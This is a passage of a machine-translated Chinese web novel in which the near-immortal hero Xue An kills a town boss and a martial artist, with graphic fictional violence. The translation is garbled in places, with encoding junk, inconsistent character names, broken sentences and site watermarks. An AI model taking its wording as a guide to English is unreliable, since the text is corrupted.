    Xie Wendong sneered at this time: "Okay, don''t act, since you don''t know, then good, let you accompany my son on the road first, I don''t believe that Xue An can still run out of Qingmang Town! "


    Xie Wendong is indeed murderous.


    Jiehu was his only son, but he was killed, or he was killed by the Xue family, whom he always despised.


    This naturally made Xie Wendong unacceptable.


    As the eldest brother in Qingmang Town, and even within a radius of a hundred miles, Xie Wendong has already released his words, whoever can catch Xue An will be rewarded with one hundred thousand yuan!


    Jie Wendong is sure, this Xue An certainly hasn''t left too far.


    As long as he catches him, Xie Wendong is ready to open his heart in front of his son''s corpse, and avenge his son.


    Thinking of this, Xie Wendong''s eyes showed crazy killing intent.


    At this moment, two people walked in from outside the hotel.


    An old man, a young girl.


    is Song Yi and Xue Lan.


    The appearance of the two of them changed the atmosphere in the hall.


    Xue Guo and Li Hongyan saw their daughter at a glance.


    Xue Guo anxiously yelled, "Lan''er, run!"


    Before the voice came down, a horse slapped Xue Guo on the face, and then someone blocked the hotel door.


    Song Yi was also startled at first, and then calmed down again.


    "Dare to ask who this old gentleman is? Why did you stop us? And why did you catch Miss Lan''er''s parents?"


    Jie Wendong glanced at Song Yi and sneered: "Murder pays his debts and pays his debts. Since my son was killed by your people, I naturally want to ask for an explanation. Come, guys, tie it up to me!"


    A few of his subordinates stepped forward and wanted to do something, Song Yi couldn''t help being a little angry at this time.


    I am also a feng shui master of one party anyway. I have never received this treatment before. I can��t help but say in a deep voice: "My friend, if you think about it clearly, just arrest people, you can��t afford the consequences!"


    Jie Wendong sneered upon hearing the words, "In Qingmang Town, there is nothing I can''t afford yet!"


    Although Song Yi is a cultivator, he specializes in Feng Shui mystery, and his fists are so ordinary that he was pushed to the ground within a few strokes.


    Then a few people grinned and prepared to step forward to catch Xue Lan.


    Song Yi said loudly at this time: "I advise you, if you don''t want to die, you''d better not touch this girl."


    "What do you mean?"


    "The people behind her, you cannot imagine."


    Song Yi''s words made several horses hesitate, but Xie Wendong didn''t care.


    "What are you pretending to be with me here? I''ve already asked, this little girl is no different from Zhang Baizhi. Besides knowing Xue An, who else does she know."


    "It''s Mr. Xue, his horror... is not what you can imagine!" Song Yi said solemnly.


    Hearing his words, Xie Wendong and the others couldn''t help laughing.


    "Xue An? Still scary? It''s a joke. I know his parents. Their ancestors are useless. It''s ridiculous to say anything is not what we can imagine."


    "Really? Is it really that funny?" With a faint voice, a person walked in slowly.


    The laughter stopped abruptly.


    Because the man who walked in was a tall and handsome man.


    Behind him, he also brought two little girls who looked exactly the same.


    It''s not Xue An and who is it?


    Xie Wendong looked at Xue An with a sullen look, then stood up slowly, and sneered: "I was really a little bit courageous, so I dared to come and die."


    Xue Lan cried out with some worry, "Brother Ang..."


    Xue An smiled slightly and signaled that he was okay, then looked at Xie Wendong, and after a while, he said, "So many years, are you still alive?"


    "What do you mean?"


    Xue An smiled faintly, "I mean, you are still alive, it is great!"


    Xue An still remembers how his parents were bullied by this burly old man when he was a child.


    I thought he was dead for so many years, but I didn''t expect to live very well.


    Xue An is naturally very happy, because there is nothing more refreshing than a hand-blanked enemy.


    To relieve the hatred, draw the sword and kill the enemy!


    The demons that had been proving the saints in the first time needed to cut them off with a single knife.


    Of course, Xie Wendong didn''t understand what it meant. He thought Xue An was trying to please himself, and couldn''t help sneering.


    "It''s useless, you are dead today!"


    At this time, Li Hongyan couldn''t help but yelled at Xue An.


    "You who are troublesome, and we are still involved, we also suffer. I have said long ago that it is better for people like you to die outside and not come back! Your surname is Xue..."


    Li Hongyan couldn''t continue, because Xue An gave her a light look.


    Li Hongyan has never seen such horrible eyes, as if even the soul has been imprisoned, so naturally I can''t say anything further.


    "The surname is Xue, you killed my son, I am killing you now, it is fair!" Xie Wendong said.


    Xue An nodded, "It''s fair!"


    "Well, then you remember to go to hell, don''t blame me for being too cruel!" Said Xie Wendong took out a pistol, and aimed at Xue An savagely.


    The appearance of this pistol has made many people confused.


    There is only Xue An, and a sneer smile emerges from the corner of his mouth.


    "Go to hell!" Xie Wendong was about to pull the trigger.


    The outside was suddenly illuminated by car lights as bright as the day, and then a girl in beautiful dress walked in.


    Seeing her, Xie Wendong, who had been rude, was suddenly dumbfounded.


    "Qin... Miss Qin?"

 Chapter 45： Who said... Im going to let you go?

    The person who came is naturally Qin Yu.


    After hearing Xie Wendong''s shout, Qin Yu glanced at him and frowned.


    "What are you doing here?"


    Xie Wendong''s originally arrogant figure squatted down, and said with an extremely flattering smile: "Miss Qin, why have you come to Qingmang Town so late? Why didn''t you tell me before you came, so I can meet you!"


    Qin Yu said coldly: "No need! I''m here to pick Mr. Xue back!"


    Mr. Xue.......


    Among those present, it seems that only one person can be called Mr. Xue.


    Jie Wendong''s eyelids began to beat frantically, and then he saw a scene that made his heart beat.


    I saw Qin Yu approach Xue An and said respectfully: "Mr. Xue, something happened to Beijiang, I need you to go back!"


    Many people can''t help but gasp.


    Everyone can see that the identity of this girl is absolutely extraordinary.


    Even the arrogant and domineering Xie Wendong must treat the girl with respect.


    shows the depth of its background.


    But such a person must respect Xue An so much.


    What''s the origin of Xue An?


    Kneeling on the ground, Li Hongyan, who had just looked down upon and resented, was also dumbfounded at this time.


    Xue An faintly smiled, ��Don��t worry, it��s not too late to go back after I have dealt with this side first!��


    "What''s the matter here?" Qin Yu frowned.


    Xue An smiled slightly, "His son is making trouble for me, and then I accidentally choked this old man''s son to death. He wants me to take revenge, it''s that simple!"


    Qin Yu''s face sank, then turned around and said angrily at Xie Wendong: "Do you want to do it anymore? Do you know that Mr. Xue is our most honorable guest of Longtai Group! You dare to find him? revenge?"


    Longtai Group.


    As soon as the name came out, everyone''s eyes changed.


    Many horses started to back away quietly.


    joke.


    In Beijiang and its surroundings, who would dare to mess with Longtai Group?


    Compared with Longtai Group, Xie Wendong is not even a hooligan, at most it is a blind stream.


    As for Li Hongyan, her mouth was bigger than a duck egg at this time, and she suddenly recalled what Xue An had said to her.


    Don''t regret it in the future!


    At the time, he was still full of disdain, but now he understands why Xue An said that.


    can make the eldest lady of Longtai Group be so respectful, his nephew, who is far away, has obviously reached a height that ordinary people can''t imagine.


    At this point, Li Hongyan''s regretful bowels are almost blue.


    The east side of the text is as earthy.


    The reason why he has been mixed in the past few years is all relying on the strength of Longtai Group.


    It can be said that he is a dog raised by Longtai Group.


    So Qin Yu scolded him, he didn''t even dare to fart.


    "Yes yes yes! It''s me **** it, I shouldn''t trouble Mr. Xue, Mr. Xue, please have a lot of yours, please spare me!


    Jie Wendong felt that his posture had been low enough, although he was still a little humiliated, but the situation was stronger than others, and if he had the Longtai Group as the backing, he should admit it.


    So when he finished speaking, the atmosphere in the room was relaxed.


    Many people think that this matter is over.


    Unexpectedly, Xue An smiled faintly, "Who said...I''m going to let you go?"


    This sentence came out.


    Xie Wendong felt a surge of blood rushing to his forehead.


    "Mr. Xue...My son Xiehu died in your hands. Now I don''t want to pursue it anymore. What are you going to...what?"


    Xue An walked to know Wen Dong, looked at him condescendingly, and then said lightly: "Are you not convinced now?"


    Xie Wendong lowered his head, eyes full of resentment.


    "Well, then I will give you a chance, take out the gun, shoot at me, and see if it''s your gun or mine!"


    This proposal made many people think Xue An was crazy.


    Xie Wendong was even more shocked, looking at Xue An incredulously.


    Xue An stretched out three fingers, "I only count three, three, two..."


    boom!


    A gunshot sounded.


    Xue Lan let out a scream, but waited for the smoke to disperse.


    Xue An stood with his hand in his hand, but the bullet was bit in his mouth, exuding green smoke.


    Xie Wendong was scared silly.


    This...Is this still a human?


    Xue An spit out the bullet and sighed slightly: "Give you a chance, you are not good! Now... it''s my turn!"


    As soon as Xie Wendong wanted to beg for mercy, Xue An slapped him out, and he turned around a thousand and two hundred degrees in the air, and finally fell to the ground. His mouthful teeth were all turned into scraps, and his head was almost smashed by the slap. Up.


    Xue An stepped forward, stepped on Xie Wendong��s face and twisted slowly and hard.


    With a creak, there was a sour fracture.


    Xie Wendong��s nose was completely crushed by Xue An.


    Everyone watched this scene silently.


    "Spare... forgive me!" Xie Wendong squeezed these two words from between his teeth.


    Xue An looked indifferently, "Do you know now to beg for mercy? But you remember that when you bullied my parents, my parents also told you forgiveness, could you stop?"


    Jie Wendong''s whole body was trembling with pain, and the eyes of Xue An were full of endless fear and regret.


    Qin Yu turned her face aside unnaturally, she was afraid of Xue An now.


    Because Xue An at this time is like an emperor who judges life and death aloft ~ www.novelhall.com~ There is no trace of human fireworks.


    "Remember in the next life, don''t be so arrogant anymore!" Xue An finished speaking, pressing his feet.


    ��.


    Jie Wendong''s brain burst and he died.


    Everyone was silent, Xue An glanced at Li Hongyan.


    Li Hongyan was agitated, for fear that Xue An would ask her to settle the account.


    Xue An was too lazy to care about her, and threw a pill to Song Yi directly.


    "This is a reward for you. Xie Wendong and his son are dead. From now on, you and Laner will take care of this hotel!"


    Song Yi said with respect and respect if he had won the treasure, "Mr. Xue, don''t worry, I will help Miss Lan''er well."


    Xue An glanced at Xue Lan and smiled faintly, "Wait for a while, I will see you again!"


    Xue Lan nodded silently.


    "Let''s go!"


    Until Xue An left the hotel, everyone was relieved.


    Li Hongyan smiled and said that his home will be developed in the future, not to mention that this Yuelai Hotel is his own, and there is a big backstage like Longtai Group!


    As soon as he wanted to talk, Li Hongyan felt that there was something in his mouth, and waited for it to come out.


    She was horrified to discover that it was a whole tongue.


    She wanted to talk, but found that she could only make a whirring sound.


    So far, Li Hongyan has become a dumb.


    On the way back, the two daughters fell asleep on Xue An��s legs.


    Xue An gently stroked the backs of the two daughters, with an extremely gentle expression.


    Qin Yu sitting in the front row saw this scene in the rearview mirror and couldn''t help thinking of it.


    That cruel and cold person is him, and now this gentle person is also him.


    But which side is the real him?

 Chapter 46： 1 Entering Xiaoyao is a fairy!

    Town Beiwu Hall.


    In the cold winter night, Tan Dong has been waiting at the door for more than an hour.


    Tan Xiaoyu came over, "Dad, it''s so cold and you still have injuries on your body. You should go back to the house and rest first."


    Tan Dong shook his head, "I should be back soon, wait a minute!"


    Tan Xiaoyu was a little disapproving, "Dad, is this Xue An really as powerful as you said?"


    Tan Dong glanced at Tan Xiaoyu, "You have just returned from abroad and don''t know the domestic situation, but I can say that there are not many domestic martial arts masters who are rivals of Mr. Xue!"


    Tan Xiaoyu curled his lips secretly, quite disdainful in his heart.


    "Dad, if you want me to tell me, it''s better to just go over and beat the guy who hurt you, not only vents you, but also saves face for our Zhenbei Martial Arts Hall, why wait for this Xue An."


    Tan Dong''s expression turned gloomy, "Xiao Yu, I paid you a lot of money to send you abroad, and I didn''t let you be indifferent. Although you learned well from the Taekwondo master of H country, it does not mean that you can despise others!"


    "Yes!" Tan Xiaoyu lowered her head, but still not convinced.


    She is the only daughter of Tan Dong, but she has been learning taekwondo with the national treasure taekwondo master of H country.


    Now her knowledge in taekwondo is very advanced.


    Yesterday, when she learned that her father was injured, she rushed back overnight and vowed to avenge her father.


    But his father resolutely refused, and had to wait for someone named Xue An.


    This makes Tan Xiaoyu feel very uncomfortable.


    I want to see if you have three heads and six arms! If you are an ordinary guy, I will make you embarrassed in public! Tan Xiaoyu thought to himself.


    After waiting for a while, a low-key Volvo slowly stopped in front of Zhenbei Wuguan.


    The door opened and Qin Yu got out of the car first.


    Tan Xiaoyu was also a little surprised by her appearance.


    Isn��t this the eldest lady of Longtai Group? Why is she here too?


    And Qin Yu did not leave, but stood aside respectfully and opened the door.


    Then Xue An got out of the car with his two children.


    Tan Dong looked excited, and quickly went down the steps, stepped forward, and bowed respectfully.


    "Mr. Xue! Miss Qin!"


    Xue An nodded slightly.


    Is this Mr. Xue that his father said? Tan Xiaoyu looked at Xue An.


    looks good, but this figure is too thin, right, martial artist, who is not a burly man?


    Is this still an unborn master?


    and he was holding two children in his arms.


    Is this come to be funny?


    Tan Xiaoyu looked more and more disdainful, and kept complaining about his father. He was easy to be fooled when he was older.


    This kid looks like a deceit.


    Just like him, I can hit ten in one punch!


    So Tan Xiaoyu has been standing on the steps, and has not come down.


    Tan Dong noticed this scene and couldn''t help frowning, "Xiao Yu, come down and meet Mr. Xue and Miss Qin!"


    Tan Xiaoyu reluctantly walked down the steps, holding fists perfunctorily.


    "Miss Qin!"


    did not pay attention to Xue An!


    Tan Dong was taken aback, for fear that Xue An would be unhappy again.


    But Xue An didn''t pay attention to this Tan Xiaoyu at all. At this moment, his attention was all on his two sleeping daughters.


    As for the others, he didn''t bother to care about it.


    However, Xue An��s reaction made Tan Xiaoyu more certain. This guy must be a silver-like wax gun head.


    Otherwise, why don''t you even dare to respond to such a naked provocation?


    My own teacher said that a warrior without courage is like a tiger without fangs, without lethality at all.


    Tan Xiaoyu''s expression became even more disdainful, "Dad, Miss Qin, I just got off the plane, I''m going back to pack up things!"


    turned around and left after speaking.


    Tan Dong''s expression was a bit embarrassing, and he was about to explain to Xue An.


    Xue An glanced at him lightly, "How is your injury?"


    Tan Dong smiled bitterly, "It''s not too heavy, he stopped temporarily, otherwise I can''t stand here now!"


    Xue An nodded, and suddenly he hit Tan Dong''s Tanzhong point with a finger.


    Tan Dong felt as if a burst of electric current rushed through, and his whole body trembled, and his breathing was steep and smooth.


    "Thank you, Mr. Xue!" Tan Dong quickly thanked him.


    "Mr. Xue, do you go back to Qin''s house first?" Qin Yu asked.


    Xue An shook his head, "Just live here!"


    "Live here?" Qin Yu was a little bit confused.


    "Well, because it''s closer to Hong''s house!" Xue An said lightly, and then stepped into the martial arts hall.


    Qin Yu was a little puzzled, but when Xue An said so, she had to listen.


    Tan Dong was overjoyed, and quickly ordered someone to clean up a clean room.


    Xue An first settled his two daughters.


    It''s already early in the morning.


    Xue An is not drowsy.


    Instead, he walked into the courtyard, looked up at the deep blue sky, and then slowly closed his eyes.


    Divine consciousness spread.


    In the spiritual world composed of divine consciousness, everything around it ceases to exist, and what is left is all kinds of flames that exude the glory of life.


    These flames are large and small. The closest to Xue An is the flame of Tan Dong, but at this moment, the flame of Tan Dong looks a little sluggish.


    In addition, Qin Yu''s flame is not small, but there is a flame that is very conspicuous. UU reading www.uukanshu. com


    actually belonged to that woman today.


    The scope of divine consciousness spreading is getting bigger and bigger!


    You are immortal as soon as you enter Xiaoyao. Although this sentence is a bit exaggerated, it also shows that Xiaoyao is the watershed between mortals and immortals.


    However, even if ordinary people enter the Freedom Realm, it is impossible for them to have such things as divine consciousness.


    At least, this must be a magical power that can only be possessed by the Celestial and Human Realm, and even the Sanxian.


    But who is Xue An?


    That is the supreme Immortal Venerable in the entire universe, this little problem naturally can''t trouble him!


    Soon, within Xue An''s sense of consciousness, a group of flames soared into the sky.


    This flame burns so fiercely as a volcano.


    Xue An''s mouth slowly showed a smile.


    then opened his eyes and looked far away.


    "Do you use martial arts to enter the Tao? It''s kind of interesting, I hope I don''t let me down, let me see how good you are!"


    At the moment at Hong''s house, Yu Qing, who was sitting cross-legged, suddenly opened his eyes.


    Just now, he felt a strong and almost terrifying breath.


    Although it was fleeting, the terrifying power contained in this breath still made Yu Qing tremble.


    who is it?


    Could there be an expert in Beijiang?


    Yu Qing was surprised.


    Its daybreak.


    Tan Xiaoyu walked out of the house, stretched out a long stretch, his bones made chuckles, and then started daily practice.


    Today is the day to go to Hong''s house to settle accounts.


    She naturally has to prepare everything.


    As for Xue An...


    She didn''t count on him at all.


    I even felt that the so-called Mr. Xue would be pretty good if he didn''t hold back.

 Chapter 47： I heard you were looking for me?

    After ���� waited for the exercise, Tan Xiaoyu stopped and walked into the restaurant.


    At this time, Xue An was feeding his two daughters in the restaurant.


    That doting look must be gentle and gentle.


    Tan Xiaoyu curled his lips in disdain, then found a place to sit down.


    Tan Dong also got up at this time. When he walked into the restaurant and saw Xue An, he said gratefully: "Mr. Xue, thank you for your healing last night, I am much better now!"


    Xue An nodded slightly.


    Qin Yu couldn''t help but ask at this time: "Mr. Xue, how many people do you need to bring to Hong''s house soon? I''ll make arrangements now!"


    Xue An put down his spoon, looked at Qin Yu, smiled slightly and said, "No need, there is only one Yu Qing, why bother to move the crowd!"


    These words made Tan Xiaoyu almost laughed out loud, thinking that there are so many people pretending to be forceful these years!


    Tan Dong glared at her fiercely, and then said sternly: "Mr. Xue, this time is not only your business, but also the reputation of our Zhenbei Wushu Hall for many years. I have invited many martial arts colleagues to go to Hong''s house. ! I hope Mr. Xue can win the game by then!"


    Xue An nodded non-committal.


    At this time, Xue Xiang and Xue Nian said in unison: "Baba, are you going to fight?"


    Xue An smiled slightly, "Do you know what fighting is?"


    Xue Xiang and Xue Nian nodded, "Aunt Xuan''er said that fighting is a bad boy, but she also said that if someone bullies herself, she must fight back!"


    Xue An touched the heads of Xue Xiang and Xue Nian, and said softly: "Yes, whoever bullies us, we will let him pay the price he deserves!"


    soon.


    The martial arts colleagues invited by Tan Dong all arrived one after another.


    These people are tall, short, fat and thin, but they are basically the curators of various martial arts schools in Beijiang.


    After they got together, they started to flatter each other.


    and gearing up one by one, vowed to Tan Dong: "Chancellor Tan can rest assured that we must teach this ignorant fellow at that time! Revenge for you!"


    "Yes, yes! Good, good!" Tan Dong could only thank him constantly.


    Tan Xiaoyu looked contemptuous, and found an excuse to leave first.


    She decided, she went to clean up Yu Qing first, and when her father and others arrived, she found that Yu Qing had been cleaned up by herself, and the expression on her face might be wonderful!


    made up his mind, Tan Xiaoyu drove a car when he went out and drove straight to Hong''s house.


    The Hong family also packed up everything early today, just waiting for Xue An to come.


    Tan Xiaoyu got out of the car, looked at this luxurious villa, and walked in.


    "This lady, who are you looking for?"


    Tan Xiaoyu said coldly: "To ask Yu Qing to come out and die, just say that the people from Zhenbei Wuguan have reported their revenge for kicking it!"


    After Yu Qing, who was talking to Qin Tian, ??heard the news, he was taken aback for a moment, and then smiled indifferently.


    "Okay! I want to see how awesome the people at Zhenbei Wuguan can be!"


    Yu Qing walked out while talking.


    At first sight of Yu Qing, Tan Xiaoyu''s expression became serious.


    She could see that this man was anything but ordinary.


    Especially those eyes are so brilliant that people dare not look directly.


    But the victorious Tan Xiaoyu did not have the slightest fear, but said coldly: "You are the Yu Qing who hurt my father?"


    Yu Qing didn''t expect that the one who came to the door to retaliate would be a woman. He was taken aback, and then nodded, "Yes!"


    "That''s good! Take it to death!" Tan Xiaoyu kicked over with a side kick.


    This foot was calm, and slammed into Yu Qing''s head with the sound of wind.


    Tan Xiaoyu is confident that if he hits this kick, then Yu Qing will not die and will be seriously injured.


    Before she showed a smug smile, she felt that her ankle had been grabbed by someone, and then she slammed, and she was thrown out.


    Flutter.


    Tan Xiaoyu fell to the ground and struggled a few times, unable to get up.


    one move.


    Tan Xiaoyu was defeated by Yu Qing.


    Her face was full of horror and incredible expression.


    is her master, and he can''t beat herself so easily.


    Could it be that this man is better than his master?


    Yu Qing frowned a little bored at this time, "You are here to take revenge for this ability? Are you here to be funny?"


    Tan Xiaoyu''s heart is full of humiliation.


    Yu Qing went on to say: "Since you dare to trouble me, you have to pay the price! Since you are a woman, I will only give up your arm!"


    As Yu Qing stepped forward, he lifted his foot to prepare to abolish Tan Xiaoyu.


    At this moment, Tan Dong hurriedly rushed with people.


    "Wait!" Tan Dong yelled from a distance.


    Yu Qing stopped, looked at Tan Dong, and said faintly: "What? Xue An didn''t come, but let you die?"


    This sentence made the curators who followed Tan Dong furious.


    "Where is the kid, so rampant, look at my bear paw fist!" A big man roared and rushed up.


    In the next second, he was kicked out by Yu Qing.


    "Yeah, it''s amazing! The big guys come together!" These curators know the truth of beating very well.


    rushed forward, preparing to consume Yu Qing with the number of people.


    In just a few blinks, these people were kicked out by Yu Qing.


    Yu Qing said arrogantly: "If Xue An is not here yet, then don''t blame me for being polite. UU reading , your daughter��s arm, can��t be kept!"


    While talking, Yu Qing kicked it out suddenly.


    But at this moment, a somewhat lazy voice came from a distance.


    "I heard you have been looking for me?"


    This voice eased Tan Dong''s expression.


    Tan Xiaoyu, who was lying on the ground immobile, was shocked.


    Yu Qing looked up, and saw a man walking slowly with two children.


    Seeing him, Hong Ming, Qin Tian and others standing behind Yu Qing shouted: "Master Yu, this is Xue An who killed your brother."


    Yu Qing stared at Xue An, and said one word at a time: "Killing lives, paying debts, you kill my brother, then you have to die today!"


    Xue An ignored Yu Qing, but lowered his head and smiled at the two little girls: "You two will go to the car with Aunt Qin Yu, and Baba will pass by in a while."


    "Hmm!"


    After the two little girls left. Xue An sighed slightly, "It''s easy to want my life, but you have to take my punch first!"


    Yu Qing��s pupils shrank instantly to the size of a pinpoint.


    That''s what I said to Tan Dong at the beginning, but now it''s my turn.


    "Good! But..."


    I didn��t have time to say anything afterwards, because Xue An��s fist had already arrived, and this fist was hitting Yu Qing��s chest.


    directly lifted Yu Qinghong''s feet off the ground, flew upside down several tens of meters, and fell into the fish pond of the villa, reluctant to live or die.


    All of this happened at the moment of electric light flint.


    Even many people didn''t react, Yu Qing was already blown away by Xue An.


    Then Xue An lightly blew his fist, and said faintly: "When you die, there are so many words that you will waste, do you treat me as idle?"

 Chapter 48： You... also worthy of being called a sword?

    The expressions on Qin Tianhongming and others who were originally excited, their faces were frozen.


    punch.


    Xue An defeated this Yu Qing with just one punch?


    Tan Dong was even more stunned.


    Although he believes Xue An can win, he still has to go through a hard fight.


    I didn''t expect it to be so easy.


    But the most shocking one is Tan Xiaoyu.


    She went abroad to practice Taekwondo since she was a child. Once upon a time, she thought that her level was already world-class.


    This time I returned to China with an eagerness to try. I think I can make a name for myself.


    can face Yu Qing, but she hasn''t even survived a single move.


    The blow to Tan Xiaoyu has been big enough.


    Unexpectedly, afterwards, Xue An actually solved Yu Qing with a punch.


    You know, from the very beginning, Tan Xiaoyu did not look down upon Xue An.


    This fact now, like a loud slap, slapped Tan Xiaoyu''s face heavily.


    Tan Xiaoyu looks at Xue An''s eyes become complicated.


    Especially thinking of her original behavior, Tan Xiaoyu felt a fever on her face.


    Just when Tan Dong and others thought that the overall situation was set.


    An unparalleled breath came from the fish pond and enveloped the audience.


    this is����.


    Tan Xiaoyu and others are still wondering.


    Embarrassed Yu Qing slowly walked out of the fish pond, and then looked at Xue An with a murderous face.


    "I wanted to give you a happy one, but now I have changed my mind, I will cut you up a little bit!" Yu Qingyin said sadly.


    Following Yu Qing''s words, his aura became stronger and stronger.


    "You should be honored for this, because few people deserve it!" Yu Qing said, slowly withdrawing a long sword from his waist.


    This long sword is flexible and is usually wrapped around Yu Qing''s waist as a belt, but when it is pulled out, it instantly becomes a long sword like autumn water.


    Jian Qi was like frost, and Tan Dong and the others couldn''t help but back up several steps.


    Hong Ming and Qin Tian are overjoyed.


    "Yugao people are unparalleled!"


    "Master Yu is really amazing!"


    Yu Qing stroked the spine of the sword proudly, "This sword is named Qiushui. If you don��t get out of the sheath, you will see blood. There are no less than twenty real people who died under this sword, and there are even three of them in the Immortal Realm. The master also died under this sword!"


    "Today, I will use this sword to cut off your head!" Yu Qing said every word.


    Xue An raised his eyebrows slightly, and said faintly: "Have you finished talking nonsense?"


    Yu Qing shouted angrily, the sword in his hand suddenly turned into a sword of light, and came straight to Xue An.


    quickly!


    At this moment, it seems that there is only this sword left between heaven and earth.


    And the sword light passes by, the garden is full of vegetation,


    Xue An didn''t even move, as if he was frightened by the momentum of the sword.


    A smirk appeared at the corner of Yu Qing''s mouth.


    His fame depends on his fists, but few people know that, in fact, his strongest is swordsmanship!


    This sword is the strongest sword Yu Qing has ever cut since his debut.


    even faintly already has the taste of Tao.


    Yu Qing seemed to see the scene where Xue An died in a violent death after a moment.


    Yu Qing was shaking all over with excitement.


    But in the next instant, all these excitement vanished.


    Because of his sword... Xue Anyi grasped it!


    That''s right!


    Xue An held this seemingly irresistible sword with one hand.


    Yu Qing was shocked and inexplicably, just about to say something.


    Xue An said lightly: "You... also worthy of being called a sword?"


    said, his hand slightly hardened.


    Click!


    This Qiushui long sword was forcibly crushed by Xue An.


    Yu Qing''s eyes almost fell out.


    Is this the **** human?


    Blocked a sword with bare hands without saying anything, and crushed it?


    At the same time, Yu Qing also felt a strong sense of crisis.


    As a master who has already entered the free life, Yu Qing sees the opportunity very fast, knows that there is nothing to do, and turns around and wants to run.


    Xue An smiled faintly, "Do you think you can still go?"


    With the voice, Xue An''s momentum began to rise steadily, and in an instant, a terrifying aura locked Yu Qing.


    Happy!


    He is also Happy!


    Everyone was shocked.


    Yu Qing was even more frightened.


    The earth-shaking breath last night, it turned out to be him!


    At this moment, Yu Qing is full of regret.


    If you knew Xue An was so good, Yu Qing said that he would not dare to fight so hastily.


    But it''s too late to say anything now.


    Yu Qing ran out almost crazy.


    Seeing that he turned over the wall in front of him again, he left Hong''s house.


    A trace of joy flashed in Yu Qing''s eyes.


    As long as I can escape from here, I must tell the teacher when I go back, and ask the teacher to go down the mountain himself, and this Xue An will definitely be dealt with.


    But his wishful thinking soon fell through.


    Because Xue An said lightly: "Look at me with a punch... Move the world!"


    This punch, he once used it at an auction, killed Liu Shou in one fell swoop.


    can be used again this time, the power has not only increased tenfold.


    Xue An��s punch seemed to hit an empty space, but the entire space seemed to be knocked over by this punch.


    Everyone fell to the ground, and Yu Qing was directly hit by the punch and rolled to the ground.


    ��.


    A mouthful of blood mixed with internal organ fragments spewed out This punch shattered Yu Qing''s spine.


    Xue An retracted his fist and walked slowly to Yu Qing.


    "This...what kind of boxing is this?" Yu Qing vomited blood, still insisting on asking.


    "This punch is called moving the world!" Xue An said.


    "Move the world... well, good boxing! I... lost!" After Yu Qing finished speaking, the brilliance in his eyes quickly dimmed.


    Yu Qing is dead!


    died under Xue An''s two punches!


    Xue An raised his head and looked at the dumbfounded Hong Ming and Qin Tian.


    "It seems that we are really destined!" Xue An said lightly.


    Hong Ming''s legs weakened with fright, he knelt directly on the ground and cried out, "Xue An, no, no, Mr. Xue, I was wrong, I shouldn''t be against you! Please forgive me this time! "


    And Qin Tian, ??his face was pale, his eyes looked at Xue An blankly, and finally he said dejectedly: "I am defeated, I want to kill or cut, whatever!"


    Xue An glanced at the two people, then turned and left.


    He didn''t bother to kill these guys, let Qin Yu take care of the rest!


    It is estimated that there will be no Hong family in Beijiang in the future!


    Looking at the back of Xue An going away, Tan Xiaoyu''s heart is mixed, not knowing what it is like.


    From his disdain at the beginning to his shock later, this man brought too much incredible to Tan Xiaoyu.


    And now, Tan Xiaoyu has discovered a more cruel fact.


    That is Xue An didn''t care about himself at all.


    Regardless of whether I was disdainful or contemptuous at first, people didn''t care.


    This discovery made Tan Xiaoyu suddenly understand that she was nothing!


    This makes Tan Xiaoyu extremely depressed.

 Chapter 49： Cook yourself!

    On the way back, Tan Xiaoyu looked down.


    Tan Dong is such a character, he understood what was going on after a little thought, and he couldn''t help sighing: "Xiao Yu, are you convinced now?"


    Tan Xiaoyu lowered his head and said nothing, and said after a long time: "Why is he... so good?"


    Tan Dong shook his head, looked at the scenery outside the car, and said faintly: "This world has geniuses! Xiaoyao in his twenties is scary enough, but I now suspect that he may not be Xiaoyao at all, but... ��Heaven!"


    "Heaven and man..." Tan Xiaoyu muttered to herself.


    "Didn''t you say that heaven and humans may not exist at all?"


    Tan Dong smiled bitterly, "I did think that after a happy life is a desperate situation! But now I understand that the realm of heaven and human beings and even higher is not without, but I don''t even have the qualification to know their existence!"


    Tan Xiaoyu is silent.


    Tan Dong is right.


    For the existence of that level, people like myself don''t even have the qualifications to know.


    "Dad, I have been like this in my life, but you are still young. Although you are a girl, I hope you can go further!"


    "Hmm!" Tan Xiaoyu nodded.


    "In another month, it will be a martial arts conference every four years! I will take you to participate in that time, so I can open my eyes and take a look at the heroes of the world!" Tan Dong said.


    Xue An did not go back to the martial arts hall, but went home directly.


    After Qin Yu personally sent him back, he immediately returned to Qin''s house and saw Qin Yuan.


    Today, Qin Yuan is energetically dealing with group affairs every day.


    But as soon as his granddaughter returned, he immediately abandoned all the work at hand.


    "how about it?"


    Qin Yu took a deep breath, "Mr. Xue has won!"


    Qin Yuan seemed to have expected it, and nodded, "How long did it last?"


    Qin Yu smiled bitterly, "defeat the enemy with one punch, and die with one punch!"


    Qin Yuan was taken aback, "You mean..."


    Qin Yu nodded, "Just hit two punches! This Yu Qing, who swept the Beijiang martial arts world, died!"


    Qin Yuan was also surprised, and he also predicted that Xue An could win.


    I did not expect to win so easily!


    It seems that I still don''t have a high estimate of Xue An''s strength!


    Qin Yu continued: "I asked Master Tan, his evaluation of Xue An is only two words!"


    "Which two words?"


    "Heaven!"


    As soon as the word "����" came out, Qin Yuan stood up and paced back and forth in the room. After a while, he suddenly slapped the table.


    "Yu''er, this Mr. Xue, we have to win over anyway! And more respectful than ever!"


    "Yes!"


    "I heard that Mr. Xue is still living in a dilapidated community, and it happens that the villa area we developed by the Yunmeng Lake has been completed, and we will give the Tianzi No. 1 villa to Mr. Xue!"


    If there are other people present, you will be surprised at Qin Yuan''s lavishness.


    Yunmeng Lake is one of the lakes with the best scenery in Beijiang, and it is not too far away from the city. The real estate developed by Longtai Group there is known as the highest-end villa area in Beijiang.


    Tianzi No. 1 Villa is even more blessed in its geographic location. A wealthy businessman once sold one hundred million, but Qin Yuan didn''t even sell it.


    now gave Xue An as a gift.


    Qin Yu nodded without hesitation, "Yes!"


    "Mr. Xue has two daughters. Remember to collect more snacks and toys that children like to eat. Make sure that Mr. Xue is satisfied!" Qin Yuan finally added.


    Qin Yu led away.


    Qin Yuan stood in the office, muttering to himself.


    "Heavens...in this world...is there really a gods?"


    Tang Xuan''er was resting today. Because she remembered the two little girls, she rushed back home after buying an order.


    After opening the door, he discovered that Xue An was busy in the kitchen.


    Tang Xuan''er was taken aback for a moment, and when the two little girls saw Tang Xuan''er, they surrounded her.


    If you talk about feelings, Xue Xiang and Xue Nian have the deepest feelings for Tang Xuan''er.


    "Aunt Xuan''er, do you think our two new clothes are beautiful?" Xue Xiang asked very stinky.


    Tang Xuan''er rubbed the heads of the two little girls with a smile.


    "It''s so beautiful! Just like two little fairies!"


    "I am not a little fairy, I am Nian Nian!" Xue Nian said, because he didn''t understand what the little fairy meant.


